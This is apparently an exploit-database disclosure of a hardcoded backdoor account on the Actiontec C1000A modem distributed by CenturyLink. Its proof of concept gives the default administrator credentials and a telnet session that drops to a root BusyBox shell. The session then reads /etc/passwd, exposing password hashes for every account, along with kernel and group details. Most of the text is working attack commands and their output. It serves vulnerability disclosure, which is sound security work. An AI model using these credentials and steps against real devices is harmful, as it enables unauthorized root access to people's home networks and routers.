Actiontec C1000A Modem Backdoor Account

`# Exploit Title: Actiontec C1000A backdoor account  
# Google Dork: NA  
# Date: 11/04/2017  
# Exploit Author: Joseph McDonagh  
# Vendor Homepage: https://actiontecsupport.zendesk.com/hc/en-us  
# Software Link: N/A Hardware  
# Version: Firmware CAC003-31.30L.86  
# Tested on: Linux  
# CVE : NA  
  
# The Actiontec C1000A Modem provided by CenturyLink has hardcoded passwords. This is similar to another recent submission by Matthew Shiemo, who inspired me to check the device I use.  
  
# Proof of Concept  
  
$ telnet 192.168.0.1  
===Actiontec xDSL Router===  
Login: admin  
Password: CenturyL1nk  
> sh  
  
BusyBox v1.17.2 (2015-10-30 10:34:29 CST built-in shell (ash)  
Enter 'help' for a list of build-in commands  
  
# cat /etc/passwd  
admin:Rtqa.nQhYPBRo:0:0:Administratir:/:/bin/sh  
support:vmiTSa8ukDkOY:0:0:Technical Support:/:/bin/sh  
user:Fq10qi6QmLmmY:0:0:Normal User:/:/bin/sh  
nobody:rZy3YulyLvuYU:0:0:nobody for ftp:/bin/sh  
# cat /proc/version  
Linux version 2.6.30 ([email protected]) (gcc version 4.4.2 (Buildroot 2010.02-git) ) #1 SMP PREEMPT Fri Oct 30 12:32:15 CST 2015  
# cat /etc/group  
root::0:root,admin,support,user  
  
  
`